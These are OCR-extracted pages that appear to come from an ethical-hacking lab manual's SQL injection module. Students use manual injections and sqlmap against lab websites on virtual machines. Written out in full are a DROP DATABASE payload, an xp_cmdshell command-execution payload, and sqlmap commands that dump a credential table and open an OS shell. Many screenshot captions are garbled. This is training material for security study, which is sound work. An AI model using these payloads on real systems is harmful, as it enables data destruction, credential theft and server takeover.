28. Switch back to the Windows Server 2019 virtual machine.

29. In the Microsoft SQL Server Management Studio window, un-expand the Databases

node and click the Disconnect icon (Eil) and then click Connect Object Explorer icon

(@) to connect to the database. In the Connect to Server pop-up, leave the default
settings as they are and click the Connect button.

30. Expand the Databases node. A new database has been created with the name
mydatabase, as shown in the screenshot.

;_‘3; SQLQuery2.sql - SERVER2019\SQLEXPRESS.GoodShopping (SERVER2019\Administrator (58)) - Microsoft SQL Server Manageme... Quick
File Edit View Project Tools Window Help

2 - i "'ﬂf‘.@l\lmﬂuer}r S I | v '||
Object Explorer SQLQuery2.sqgl - SE...Administrator (38)) ® X 50QLQueryl.sgl - SE...Administrator (36)) v
Connect~ ¥ *¥ : reve Scrapt tor Sel?r:‘t:Tpr'lmes command from SSMS ******/ ==
-]SELECT TOP (1@0@) |loginid] A
ot
= Databases , [password]
& System Databases FROM [GoodShopping].[dbo].[Login]
r Database Snapshots
# @ DWConfiguration
+ @ DWDiagnostics
# i DWQueue
% i GoodShopping
# W moviescope
= Security
Server Objects
Replication =
PolyBase 100 % ~
F Management
w 4 vl sy B Resuts gl Messages
loginid usemame password
1 i1 | smih smith123
2 5 john apple123
&) Query executed successfully. SERVER2019\SQLEXPRESS (14.0... SERVER2019\Administrat... GoodShopping 00:00:00 2 rows

] Ready

31. Switch back to the Windows 11 virtual machine and the browser where the
GoodShopping website is open.

32. Click LOGIN on the menu bar and type the query blah'; DROP DATABASE mydatabase; -
- in the Username field; leave the Password field empty and click Log in.

Note: In the above query, you are deleting the database that you created in Step 25
(mydatabase). In the same way, you could also delete a table from the victim website
database by typing blah'; DROP TABLE table_name; -- in the Username field.
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GoodShopping X + = X
< C O & www.goodshopping.com/login.aspx# e ® =

blah’, DROP DATABASE mydatabase

Password
|

33. To see whether the query has successfully executed, Click switch back to the victim
machine (Windows Server 2019); and in the Microsoft SQL Server Management Studio

window, click the Refresh icon.

34. Expand Databases node in the left pane; you will observe that the database called
mydatabase has been deleted from the list of available databases, as shown in the

screenshot.

4 SOLQuery2.sql - SERVER2019\SQLEXPRESS.GoodShopping (SERVER2019\Administrator (58)) - Microsoft SQL Server Manageme... /<< Launch (Ctl=0)
File Edit View Project Tools Window Help
OO0 B -2 R BNwauey EBRERQD XL O O|2-C- B -5 - B AED

= ¥ ":'| GoodShopping - | b Execute W n.!" [r E E | :__ Iﬁ 2l | s =32 [

Object Explorer MR B 50O Queryl.sqgl - SE...Administrator (38)) ® X SQOLQueryl.sqgl - SE...Administrator (36))
i * Script for SelectTopNRows command from SSMS
Connect ~ » 2
¥ "# Y G =ISELECT TOP (10080) [loginid]

=l -] SERVER2019\SQLEXPRESS (SQL Server ‘ , [username]
=] #= Databases , [password]
& System Databases | FROM [GoodShopping].[dbo].[Login]
& ¥ Database Snapshots
7 W DWConfiguration
% i DWDiagnostics
+ W DWQueue
# W GoodShopping
4 W@ moviescope
= Security
" Server Objects
" Replication
PolyBase

& 1 Management 100% ~
# [¥] XEvent Profiler Bl Results gl Messages

smith 123
apple123

@ Query executed successfully. SERVERZOTNSQLEXPRESS (14.0... SERVER2019\Administrat... GoodShopping 00:00:00 2 rows

Note: In this case, we are deleting the same database that we created previously.
However, in real-life attacks, if an attacker can determine the available database name
and tables in the victim website, they can delete the database or tables by executing

SQL injection queries.
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35. Close the Microsoft SQL Server Management Studio window.

36. Switch back to the Windows 11 virtual machine and the browser where the
GoodShopping website is open.

37. Click LOGIN on the menu bar and type the query blah';exec master..xp_cmdshell 'ping
www.certifiedhacker.com -l 65000 -t'; -- in the Username field; leave the Password
field empty and click Log in.

Note: In the above query, you are pinging the www.certifiedhacker.com website using
an SQL injection query. -l is the sent buffer size and -t refers to pinging the specific host.

GoodShopping X -+ = a X

< C O 8 o www.goodshopping.com/login.aspx# s =

blah’exec master.xp_cmdshell "pinc

Password

38. The SQL injection query starts pinging the host, and the login page shows a Waiting for
www.goodshopping.com... message at the bottom of the window.

39. To see whether the query has successfully executed, switch back to the victim machine
(Windows Server 2019).

40. Right-click the Start icon in the bottom-left corner of Desktop and from the options,
click Task Manager. Click More details in the lower section of the Task Manager
window.

41. Navigate to the Details tab and type p. You can observe a process called PING.EXE
running in the background.

42. This process is the result of the SQL injection query that you entered in the login field of
the target website.
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F‘- Task Manager - 5 Y
. File Options View

lFrucE_sses Performance Users | Details | Services

f— —
~.

MName PID Status User name CPU Memory (a... UAC wirtualizat...
AdobeARM.exe 6388 Running Administr... 00 3,296 K Not allowed
[Jarmsvc.exe 2872 Running SYSTEM 00 912K Not allowed
BN crd.exe 7136 Running MSSQLSS... 00 740 K Not allowed
BN conhost.exe 7144 Running MSSQLSS... 00 5,988 K Not allowed
BN conhost.exe 5096 Running MSSQLFD... 00 5,912 K Not allowed
[5] csrss.exe 452 Running SYSTEM 00 1,388 K Not allowed
5] csrss.exe 536 Running SYSTEM 00 1,328 K  Not allowed
1 ctfmon.exe 5208  Running Administr.. 00 2,832 K Not allowed
[55] dwm.exe 1016  Running DWM-1 00 18,200 K Disabled
1 explorer.exe 2524  Running Administr... 00 15,968 K Not allowed
[8:|fdhost.exe 5088 Running MSSQLFD... 00 1212 K Not allowed
|8-|fdlauncher.exe 5008  Running MSSQLFD... 00 768 K Not allowed
B firefox.exe 1872 Running Administr... 02 1,370 K Not allowed
W firefox.exe 6442 Running Administr... 00 732 K Not allowed
L8-|fontdrvhost.exe 824 Running UMFD-0 00 1,064 K Disabled
[5=] fontdrvhost.exe 832 Running UMFD-1 00 1,404 K Disabled
'L GoogleCrashHandler... 400 Running SYSTEM 00 560 K Not allowed
i) GoogleCrashHandler... 6043 Running SYSTEM 00 488 K Not allowed
L5- inetinfo.exe 2860 Running SYSTEM 00 4836 K Not allowed
[+ lLabOnDemand.Hyp... 4608 Running Administr... 00 4028 K Not allowed
[8-| Launchpad.exe 5072  Running MSSQLLau... 00 9,704 K Not allowed
8- |Isass.exe b/b Running SYSTEM 00 0,050 K Not allowed
n mpdwsvc.exe 5032 Running NETWORK... 00 122228 K Not allowed
5| mpdwsvc.exe 2040 Running NETWORK... 00 108,956 K Not allowed
L& mgsvc.exe 2996 Running NETWORK... 00 2936 K Mot allowed
(- msdtc.exe 4548  Running NETWORK.. 00 2288 K Not allowed

MusNotifylcon.exe 6108 Running Administr... 00 1,444 K Not allowed
18- nfscint.exe 3148 Running NETWORK... 00 972K Not allowed

- PING.EXE 1644 Running MSSQLSS... 00 836 K Not allowed ]

B Registry 83 Running SYSTEM 00 14184 K Not allowed W |
Fewer details End task

311 AM

A Bl T ds 4/20/2022 -

43. To manually kill this process, click PING.EXE, and click the End task button in the bottom
right of the window.

44. |If a Task Manager pop-up appears, click End process. This stops or prevents the website
from pinging the host.

45. This concludes the demonstration of how to perform SQL injection attacks on an MSSQL
database.

46. Close all open windows and document all the acquired information.

47. Turn off the Windows 11 virtual machine.

Task 2: Perform an SQL Injection Attack Against MISSQL to Extract
Databases using sqlmap

sglmap is an open-source penetration testing tool that automates the process of detecting and
exploiting SQL injection flaws and taking over of database servers. It comes with a powerful
detection engine, many niche features, and a broad range of switches—from database
fingerprinting and data fetching from the database to accessing the underlying file system and
executing commands on the OS via out-of-band connections.
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You can use sqlmap to perform SQL injection on a target website using various techniques,
including Boolean-based blind, time-based blind, error-based, UNION query-based, stacked
queries, and out-of-band SQL injection.

In this task, we will use sglmap to perform SQL injection attack against MSSQL to extract
databases.

Note: In this task, you will pretend that you are a registered user on the
http://www.moviescope.com website, and you want to crack the passwords of the other users
from the website’s database.

Note: Ensure that the Windows Server 2019 virtual machine is running.
1. Turn on the Parrot Security virtual machine.

2. In the login page, the attacker username will be selected by default. Enter password as
toor in the Password field and press Enter to log in to the machine.

Note: If a Question pop-up window appears asking you to update the machine, click No
to close the window.

3. Click the Mozilla Firefox icon from the menu bar in the top-left corner of Desktop to
launch the web browser.

4. Type http://www.moviescope.com/ and press Enter. A Login page loads; enter the
Username and Password as sam and test, respectively. Click the Login button.

Note: If a Would you like Firefox to save this login for moviescope.com? notification
appears at the top of the browser window, click Don’t Save.

@) Applications Places System Y > (@
@0

Ms Login - MovieScope -t
< C @ UV /a0 moviescope.com e U W n @O @

") Getting Started @ Start §) Parrot 0OS @ Community @ Docs @ Git @ CryptPad | B3 Privacy E5Pentest ElLearn |

Features Trailers Photos Blog Contacts

LOgIn

SEGIOGETUEM sam
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5. Once you are logged into the website, click the View Profile tab on the menu bar and,
when the page has loaded, make a note of the URL in the address bar of the browser.

o @
Ms Home - MovieScope
- G s moviescope.com e &V @ i

) Getting Started @ Start §) Parrot OS @ Community @ Docs @ Git @ CryptPad | B3 Privacy 5 Pentest 5 learn |

Features Trailers Photos Contacts

View Profile

Tron Legacy Featured Movie Trallers

’ II'-"ri ew 4 | >
Erat volutpat duis ac turpis.

\ I N TR gt
' . T R =t 7
¢ = 5. ; i ’ I . . .r‘_"
Donec sit amet eros lorem. = BRI o rd T -
’ Vel Y A\ ey
1 " L . ﬁ.—#“ K bk T ! .

6. Right-click anywhere on the webpage and click Inspect Element (Q) from the context
menu, as shown in the screenshot.

®e Home - MovieSc

M$ Home - MovieScope . T

< C @ la moviescope.com o V) 1Y

) Getting Started @) Start §) Parrot 0S @ Community @ Docs @ Git @ CryptPad < & W

Save Page As.
Save Page to Pocket
Send Page to Device

View Background Image

Select All
_ j'_I_{IEH-"'n" E‘F:,L:“:. 5\}l.rl_F
View P e info

Home Features Trailers Photos Blog Inspect Element (Q)

Take a Screenshot

View Profile w Block element..

sam profile Featured Movie Trailers

ID: 1
First Name: sam
Last Name: houston
Email: sam@moviescope.com
Gender: male
: Menu Y Home - MovieScope -
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7. The Developer Tools frame appears in the lower section of the browser window. Click
the Console tab, type document.cookie in the lower-left corner of the browser, and
press Enter.

@0
Ms Home - MovieScope

&« C @ i moviescope,.com o W 33 I b ® - &

“) Getting Started @ Start ) Parrot 0S & Community @ Docs @ Git @ CryptPad | B Privacy 3 Pentest E5lLearn |

Features Trailers Photos Contacts

View Profile

(W O Inspector [) Console [ Debugger 1T Network {} Style Editor () Performance 1k Memory [ Storage < Accessibility » B ] - X

@l Errors Warnings Logs Info Debug (S5 XHR Requests -l:i-

enabled. [Learn Morel

4\ Content Security Policy: Couldn't process unknown directive ‘require-trusted-types-for’
£ Cookie "ui-tabs-1" will be soon rejected because it has the “sameSite"™ attribute set to “nene"” or an invalid value, without jquery-ui.js:10:447
the "secure” attribute. To know more about the “sameSite” attribute, read https://developer.mozilla.org/docs/Web/HITP/Headers
et-Cookie/SameSite

gy Blocked third party https://player.vimeo,com/video/408881867title=0&byline=0&portrait=0 from extracting canvas data player.js:10:419687
DA document . cookie
"mscope=1jWydNfBwro=; ui-tabs-1=0"
Wl

£} Home - MovieScope - , iz "

8. Select the cookie value, then right-click and copy it, as shown in the screenshot.
Minimize the web browser.

Features Trailers Photos Contacts

View Profile

[ O Inspector [5]) Console [ Debugger 1Ty Network {} Style Editor () Performance {k Memory [5] Storage 'i' Accessibility ) O jj] ses X

@ v Flt Errors Warnings Logs Info Debug S5 XHR Reguests -I:I-

enabled. [Learn Morel

4 Content Security Policy EHP?MEME

‘require-trusted-types-tor

4 Cookie "ui-tabs-1" will "sameSite™ attribute set to “none” or an invalid value, without jquery-ui.js:10:447
the "secure”™ attribute . Up'& {:J[}IrE{I ttribute. read https://developer.mozilla.org/docs/Web/HTTP/Headers
t-Cookie/SameSit
: Select All == : = e =
4 Blocked third party ht ‘“{ﬁk“iﬂﬁ‘ ftitle=0&byline=0&portrait=0 from extracting canvas data player.js:10:419067
2> document.cookie Export Visible Messages To

gmscope=1jWydNf8wro=; ulL-tabs-i=
Eb

ree Ment t) Home - MovieScope - .. =5
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9. C(Click the MATE Terminal icon at the top of the Desktop window to open a Parrot
Terminal window.

10. A Parrot Terminal window appears. In the terminal window, type sudo su and press
Enter to run the programs as a root user.

11. In the [sudo] password for attacker field, type toor as a password and press Enter.
Note: The password that you type will not be visible.

12. In the Parrot Terminal window, type sgqlmap -u
"http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="[cookie value that
you copied in Step 8]" --dbs and press Enter.

Note: In this query, -u specifies the target URL (the one you noted down in Step 5), --
cookie specifies the HTTP cookie header value, and --dbs enumerates DBMS databases.

13. The above query causes sqlmap to enforce various injection techniques on the name
parameter of the URL in an attempt to extract the database information of the
MovieScope website.

@) Applications Places System &) 22 @ | 4» O WedApr 20, 06:31

Parrot Terminal

earch lerminal Help

t@parrot | -
zsqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jwWydNf8wro=; ui-t
abs -1=0" - -dbs

14. If the message Do you want to skip test payloads specific for other DBMSes? [Y/n]
appears, type Y and press Enter.

15. If the message for the remaining tests, do you want to include all tests for ‘Microsoft
SQL Server’ extending provided level (1) and risk (1) values? [Y/n] appears, type Y and
press Enter.

16. Similarly, if any other message appears, type Y and press Enter to continue.
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vl i e Bl o Tk rhamas e il e pas | sk Tan ot n e sl N o s e Ve il ) PRSI . S | e e B P § U | o, e o s
P ® @ sgimap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=; ui-tabs-

o = . X g = = M R G =3 =
File Edit View Search Terminal Help

et URL content 1s stable
testing 1Tt GET parameter 'id !
parameter 'id' appears to be dynamic
tic (basic) test shows that GET parameter 'id' might

i

for SQL injection on GET parameter 'id'

testing 'AND boolean-based blind - WHERE or HAVING clause
parameter 'i1d' appears to be 'AND boolean-based blind - WHERE or HAVING clause’

Microsoft SQL Serv

= sqglmap -u "http://www.... |2 n

17. sqlmap retrieves the databases present in the MSSQL server. It also displays information
about the web server OS, web application technology, and the backend DBMS, as shown

in the screenshot.

9 0 sgimap -u “http://www.moviescope.com/viewpr ofile.aspx?id=1
File Edit View Search Terminal Help

+CHAR (98 ) +CHAR(116) +CHAR(111) +CHAR(72)
113)+CHAR(89)+CHAR (106 ) +CHAR (119 ) +CHAR

120 )+CHAR( 1
L, NULL, NULL , NULL , NULL - -

vallaple databases
DWConfiguration
DwDiagnostics
DWQueue
GoodShopping
master
model
moviescope
msdb

‘/root/.local/share/sqlmap/output/www.movie
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18. Now, you need to choose a database and use sqlmap to retrieve the tables in the
database. In this lab, we are going to determine the tables associated with the database
moviescope.

19. Type sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --
cookie="[cookie value which you have copied in Step 8]" -D moviescope --tables and
press Enter.

Note: In this query, -D specifies the DBMS database to enumerate and --tables
enumerates DBMS database tables.

20. The above query causes sglmap to scan the moviescope database for tables located in
the database.

o Applications Places System ’-';, > \i’y _ |y 4) O Wed Apr 20, 06:34
» 90 clear - Parrot Terminal
File Edit View Search Terminal Help

@parrot

zsqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=; uli-t
abs-1=0" -D moviescope --tables

21. sqlmap retrieves the table contents of the moviescope database and displays them, as
shown in screenshot.

4) O Wed Apr 20, 06:34

\}Ap{;:u{aar::ns Places System E) . @ _—

P ® @ sgimap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=; ui-tabs-1=0" -D moviescope --tab

I ALl
Edit View Search Terminal Help

| [INFO] the back-end DBMS is Mic
rver operating system: Window
plication techno '
ick-end DBMS: Microsoft
| | | fetchine
atabase: moviescope
11 tables]

. Comments |
| CustomerlLogin |
| Movie Details |
- Offices |
- OrderDetails |
. OrderDetailsl |
| Orders |
| Ordersl |
| User Login |
| User Profile |
| tblContact |

‘/root/.local/share/sqlmap/output/www.movie

@parrot

3

«:: Menu Y [Home - MovieScope 2 sglmap -u "http:/fwww...
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22. Now, you need to retrieve the table content of the column User_Login.

23. Type sglmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --
cookie="[cookie value which you have copied in Step 8]" -D moviescope -T User Login
--dump and press Enter to dump all the User_Login table content.

18ala il oo - ] e - "'||_+ ki ' i &
‘) Applications Places System -:) > f‘gﬁ L o e
N N clear - Parrot Terminal

=

File Edit View Search Terminal Help

) O Wed Apr 20, 06:3F

@parrot
isqlmap -u "http://www.moviescope.com/viewprofile.aspx?1d=1" --cookie="mscope=1jWydNf8wro=; ui-t

abs-1=0" -D moviescope -T User Login --dump

24. sqlmap retrieves the complete User Login table data from the database moviescope,
containing all users’ usernames under the Uname column and passwords under the
password column, as shown in screenshot.

25. You will see that under the password column, the passwords are shown in plain text
form.

Q) Applications Places System &) @2 a

P ® @ sqgimap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=; ui-tabs-1=0" -D moviescope -T Us:

4) O Wed Apr 20, 06:3¢

I |
I B N VRN NV T ——

File Edit View Search [|erminal Help
] [INFO]
! ' |:_:r-_‘[ cl "_ LU

 'User Login' in database 'moviescope’
User Login' in database 'moviescope’
| [WARNING] reflective value(s) found and filtering out
Jatabase: moviescope
[able: User Login
5 entries]
B s s oo oo e ara P nioenusa e +
| Uid | Uname | 1sAdmin | password |

] | | table 'moviescope.dbo.User Login' dumped to CSV file '/root/.local/share/sqlmap/out
put/www.moviescope.com/dump/moviescope/User Login.csv

| | | fetched data logged to text files under '/root/.local/share/sglmap/output/www.movie
scope.com

| [WARNING] yo

@parrot

«=+ Menu Y THome - MovieScope = sglmap -u "http://www...
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26. To verify if the login details are valid, you should try to log in with the extracted login
details of any of the users. To do so, switch back to the web browser, close the
Developer Tools console, and click Logout to start a new session on the site.

Ms Home - MovieScope o T

< C @ fa MOVIESCOPE.com we @ & mnmeae - s

") Getting Started @ Start &) Parrot 0OS @& Community @ Docs @ Git @ CryptPad | B Privacy 3 Pentest FgLearn |

Features Trailers Photos Contacts

View Profile

sam profile Featured Movie Trailers

ID: 1

First Name: sam

Last Name: houston

Email: sam@moviescope.com

27. The Login page appears; log in into the website using the retrieved credentials
john/qwerty.

Note: If a Would you like Firefox to save this login for moviescope.com? notification
appears at the top of the browser window, click Don’t Save.

L
i Y =1 i
1 i I i Th | ™

Ms Login - MovieScope N T
o C @ ©V 4o moviescope,com see V' ST m @ ® - =

) Getting Started @ Start §) Parrot 0S @ Community @ Docs @ Git @ CryptPad | B3 Privacy B Pentest B learn |

Features Trailers Photos Blog Contacts

LOogIn

Username: §laiy

Password:
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28. You will observe that you have successfully logged into the MovieScope website with
john’s account, as shown in the screenshot.

Liama . MendeCro Marilla Eirafo
f L |I'T - . I '-_—II-."r- |— b = - I": L}

Ms Home - MovieScope . T

< C @ 7 moviescope.com e @ o W m@ae@ «

") Getting Started @ Start ) Parrot 0S @ Community @ Docs @ Git @ CryptPad | B Privacy B Pentest BS5lLearn |

Features Trailers Photos Contacts

View Profile

Featured Movie Trailers

john profile

ID: 2

First Name: john

Last Name: smith

Email: john@moviescope.com
Gender: male

Y Home - MovieScope - ..

29. Now, switch back to the Parrot Terminal window. Type sqimap -u
"http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="[cookie value which
you have copied in Step 8]" --os-shell and press Enter.

Note: In this query, --os-shell is the prompt for an interactive OS shell.

30. If the message do you want sqlmap to try to optimize value(s) for DBMS delay
responses appears, type Y and press Enter to continue.
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> sglmap -u "http://www....

2]l @

31. Once sqglmap acquires the permission to optimize the machine, it will provide you with
the OS shell. Type hostname and press Enter to find the machine name where the site is

running.

32. If the message, do you want to retrieve the command standard output? appears, type

Y and press Enter.

LI
1 L) 1

dure 'xXp_cmdshell’
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33. sqlmap will retrieve the hostname of the machine on which the target web application is
running, as shown in the screenshot.

0 Applications Places System 'f) ’- !

| 1 d - - I
SERE Tl B e i I a S At | W e R R - | e L e e ot e i W T T e N i it
® @ sgimap-u "hitp://www cope.com/viewprofile. aspx7ic --cookie="mscope=1{WydNf8wro=; ui-tab
¥ i ¥ ’

File Edit View Search Terminal Help

'|l-||I [

;.-+.=xp cmdshell' for op

!

= sglmap -u "http://www.... (22 n

34. Type TASKLIST and press Enter to view a list of tasks that are currently running on the
target system.

35. If the message do you want to retrieve the command standard output? appears, type Y
and press Enter.

CEH Lab Manual Page 1731 Ethical Hacking and Countermeasures Copyright © by EG-Gouncil

All Rights Reserved. Reproduction is Strictly Prohibited.




Module 15 - SQL Injection

36. The above command retrieves the tasks and displays them under the command
standard output section, as shown in the screenshots below.

@) Applications Places System ) @

S T e, | HIL S Y R i i e B i e e B T e R Ll e S i TG . Mot R e B Y I N i vt
® @ sgimap-u "hitp://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope =1jWydNf8wro=; ui-tabs-
| ] i i [

File Edit View Search Terminal Help

10/2

= sgimap -u "http://www.... , |z n

37. Following the same process, you can use various other commands to obtain further
detailed information about the target machine.

38. To view the available commands under the OS shell, type help and press Enter.
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. — e — o~ — e ia - — r ] !
‘) Applications Flaces bSysiem % =

il e kb | fhai e e ey ay =iy W Recl el iy 1y Ll g = e d e W e i ] FLAS B IF R varres -
. . sgimap -u ntpl//www.moviescope.com/viewprofite.asp Nd=1" -—-cookie="mscope=1{WvdNf8wr Ui-1ap
I ] i i |

Search Terminal Help

File Eait View

:_l
> | [
help
INT 1 |

-l e | T )
| 3 ! [
I.|:|___. !

= sqglmap -u "http:/fwww.... r 1% n

39. This concludes the demonstration of how to launch a SQL injection attack against
MSSQL to extract databases using sqlmap.

40. Close all open windows and document all the acquired information.

41. You can also use other SQL injection tools such as Mole (https://sourceforge.net), Blisqy
(https://github.com), blind-sql-bitshifting (https://github.com), and NoSQLMap
(https://github.com) to perform SQL injection attacks.

42. Turn off the Parrot Security and Windows Server 2019 virtual machines.

Lab Analysis

Analyze and document the results of this lab exercise.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS RELATED TO THIS LAB.

V] Yes No

' Platform Su pported

V] Classroom V] CyberQ
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Detect SQL Injection Vulnerabilities using
Various SQL Injection Detection Tools

Ethical hackers and pen testers are aided by various tools that make detecting SQL injection
vulnerabilities an easy task.

Lab Scenario

By now, you will be familiar with various types of SQL injection attacks and their possible
impact. To recap, the different kinds of SQL injection attacks include authentication bypass,
information disclosure, compromised data integrity, compromised availability of data and
remote code execution (which allows identity spoofing), damage to existing data, and the
execution of system-level commands to cause a denial of service from the application.

As an ethical hacker or pen tester, you need to test your organization’s web applications and
services against SQL injection and other vulnerabilities, using various approaches and multiple
techniques to ensure that your assessments, and the applications and services themselves, are
robust.

In the previous lab, you learned how to use SQL injection attacks on the MSSQL server database
to test for website vulnerabilities.

In this lab, you will learn how to test for SQL injection vulnerabilities using various other SQL
injection detection tools.

Lab Objectives

"= Detect SQL injection vulnerabilities using DSSS

= Detect SQL injection vulnerabilities using OWASP ZAP

Lab Environment
To carry out this lab, you need:
=  Windows Server 2019 virtual machine
= Parrot Security virtual machine
= Web browsers with an Internet connection
= Administrator privileges to run the tools
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Lab Duration
Time: 20 Minutes

Overview of SQL Injection Detection Tools

SQL injection detection tools help to discover SQL injection attacks by monitoring HTTP traffic,
SQL injection attack vectors, and determining if a web application or database code contains
SQL injection vulnerabilities.

To defend against SQL injection, developers must take proper care in configuring and
developing their applications in order to make them robust and secure. Developers should use
best practices and countermeasures to prevent their applications from becoming vulnerable to
SQL injection attacks.

Lab Tasks
Task 1: Detect SQL Injection Vulnerabilities using DSSS

Damn Small SQLi Scanner (DSSS) is a fully functional SQL injection vulnerability scanner that
supports GET and POST parameters. DSSS scans web applications for various SQL injection
vulnerabilities.

Here, we will use DSSS to detect SQL injection vulnerabilities in a web application.

Note: We will scan the www.moviescope.com website that is hosted on the Windows Server
2019 machine.

1. Turn on the Windows Server 2019 and Parrot Security virtual machines.

2. Switch to the Parrot Security virtual machine. In the login page, the attacker username
will be selected by default. Enter password as toor in the Password field and press Enter
to log in to the machine.

Note: If a Parrot Updater pop-up appears at the top-right corner of Desktop, ignore and
close it.

Note: If a Question pop-up window appears asking you to update the machine, click No
to close the window.

3. Click the MATE Terminal icon at the top of the Desktop window to open a Parrot
Terminal window.

4. A Parrot Terminal window appears. In the terminal window, type sudo su and press
Enter to run the programs as a root user.

5. In the [sudo] password for attacker field, type toor as a password and press Enter.
Note: The password that you type will not be visible.

6. In the MATE Terminal type cd DSSS and press Enter to navigate to the DSSS folder
which is already downloaded.
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0 Applications Places

File

Edit
attacker@parrot
$'PHEH SU
1do ] PassSword
@parrot

View
|.i||t.__]||."|.|

gcd DSSS

@parrot

i

7. In the termina

Search

Module 15 - SQL Injection

o

System %

>_ rw

MO O C » —— NA— |
cd DSSS - Parrot Terminal

i, i ol

Terminal

window, type python3 dsss.py and press Enter to view a list of available

options in the

DSSS application, as shown in the screenshot.

python3 dsss.py - Ps

File Search Terminal

Edit  View
attacker@parrot

$suao su

Help

] N i
| -]

@parrot
#cd DSSS
@parrot

F !
foython3 dsss.py
1 Small SQL1 Scannel

| I' rJ'I'

| - % ™% § §
911 .|' I
A | ] .

8. Now, minimize the Terminal window and click on the Firefox icon in the top section of
Desktop to launch Firefox.

In the Mozilla Firefox window, type http://www.moviescope.com/ in the address bar
and press Enter. A Login page loads; enter the Username and Password as sam and

test, respectively. Click the Login button.

Note: If a Would you like Firefox to save this login for moviescope.com? notification
appears at the top of the browser window, click Don’t Save.
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L
Ms Login - MovieScope

< iR 1 . &

g n @ ® - s

moviescope.com

") Getting Started @ Start §) Parrot OS @ Community @ Docs @ Git @ CryptPad | B3 Privacy ESPentest B learn |

Features Trailers Photos Blog Contacts

Helollg

IECIGETNEME sam

Password:

10. Once you are logged into the website, click the View Profile tab from the menu bar; and
when the page has loaded, make a note of the URL in the address bar of the browser.

11. Right-click anywhere on the webpage and click Inspect Element (Q) from the context
menu, as shown in the screenshot.

0
M§ Home - MovieScope
& > C @R 7

) Getting Started € Start {) Parrot OS @ Community ©

_I_

-
()
S

& & @ -.1_.- ' T r
S

A s
*

[ %)

i @
=1Privacy B3 Pentest EjlLearn |

moviescope.com

3 e

W
Save Page As...

Save Page to Pocket

Send Page to Device >
View Background Image
Select All

View Page Source

View Page Info

Inspect Element (@)

Features Trailers Take a Screenshot

w Block element...

View Profile

Featured Movie Trailers

sam profile

1D:

First Name:

Last Name:

Email:

Gender:

- ..
W e
& 5 '!_||||
.
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12. The Developer Tools frame appears in the lower section of the browser window. Click
the Console tab, type document.cookie in the lower-left corner of the browser, and

press Enter.

Ms Home - MovieScope X +

<_ e Q “':! moviescope.com ' r"‘l r,l-’_-_‘, Ili\ ED

") Getting Started @ Start &) Parrot 0S @ Community @ Docs @ Git @ CryptPad | B3 Privacy £S5 Pentest B5learn |

Features Trailers Photos Contacts

View Profile

- 1 i ' - [ LT
(¥ O Inspector [>) Console [O Debugger Ty Network {} StyleEditor () Performance {J} Memory [5] Storage W Accessibility ») . Ij:l ses X
W v Errors Wamings Logs Info Debug  CSS5 XHR Requests 3%
enabled. [lLearn More]
4 Content Security Policy: Couldn't process unknown directive ‘require-trusted-types-for’
4y Cookie “ui-tabs-1" will be soon rejected because it has the “sameSite” attribute set to “none” or an invalid value, without jquery-ul.js:10:447
the “secure” attribute. To know more about the "sameSite” attribute, read https://developer.mozilla.org/docs/Web/HTTP/Headers
‘Set-Lookie/S5amesite
A Blocked third party https://player.vimeo,com/video/408881867title=0&byline=0&portrait=0 from extracting canvas data player.js:10:413907

W o cunent . cookie

"mscope=1jWydNf8wro=; ui-tabs-1=0"
L)

s+ Menu Hhi 5 Y Home - MovieScope - .. 23] "

13. Select the cookie value, then right-click and copy it, as shown in the screenshot.
Minimize the web browser.

Features Trailers | Contacts

View Profile

[

0

!

[w O Inspector [£] Conscle [O Debugger 1) Network {} StyleEditor () Performance 4} Memory [E] Storage - Accessibility D) | 0] ==+ X

Errors Warnings Logs Info Debug CSS5 XHR Requests -I:I-

enabled. |[Learn Morel}

e

‘require-trusted-types-for’

A Content Security Poli ;GPV HEE <3 g

A Cookie "ui-tabs-1" wi “sameSite”™ attribute set to "none” or an invalid value, without jquery-ui.js:10:447
o i - i e F - T - = P . 1 P o . - F - - .
the "secure” attribut “OpY Object attribute, read https://adeveloper.mozilla.org/docs/Web/HITP/Headers
/Set-Lookie/SameSite
| Select All T : : E Ao
4 Blocked third party n 2y g6 /t1 1 (e=0&by Line=t&portralt=0 Trom extracting canvas data player.j}s:10:4190,;

»> document.cookie Export Visible Messages To

amscope=1jWydNT8wro=; uli-tabs-1=C
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14. Switch to a terminal window and type python3 dsss.py -u
"http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="[cookie value which
you have copied in Step 13]" and press Enter.

Note: In this command, -u specifies the target URL and --cookie specifies the HTTP
cookie header value.

@parrot
aoython3 dsss.py -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jWydNfE

0=; ul-tabs-1=0"

15. The above command causes DSSS to scan the target website for SQL injection
vulnerabilities.

16. The result appears, showing that the target website (www.moviescope.com) is
vulnerable to blind SQL injection attacks. The vulnerable link is also displayed, as shown
in the screenshot.

— —

‘).ia;;-pl._ica:”::ng Places System —) » L,
I - | ——
) @ @ python3dsss.py -u "http://w
File Edit View Search Terminal Help
#cd DSSS
@parrot
#ovithon3

-Pro /=PROX)
@parrot
#python3 d

scanning GET parameter 'id'

(1) GET parameter 'id' appears to be blind SQL1 vulnerable (e.g.: 'http://www.moviescope.com/viewprc
‘1le.aspx?71d=1%200R%20N0T%20%2887%3E87%29"' )

@parrot

s+ Menu > python3 dsss.py -u "htt...
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17. Highlight the vulnerable website link, right-click it, and, from the options, click Copy.

e - 1 e s g R I e B E e o e - i - i e - = g |=g- = ! T - | E i B e i i ' =l ¥ o b i I o ™ 1 aEEa the =
] " R C Pl s e e 1 TIVTEN - 5 Y ] = Y T, ATl aldali - wur M % I &% e T alalat e ! i W | # v & J 1 ; . T | "S—_ — Y il
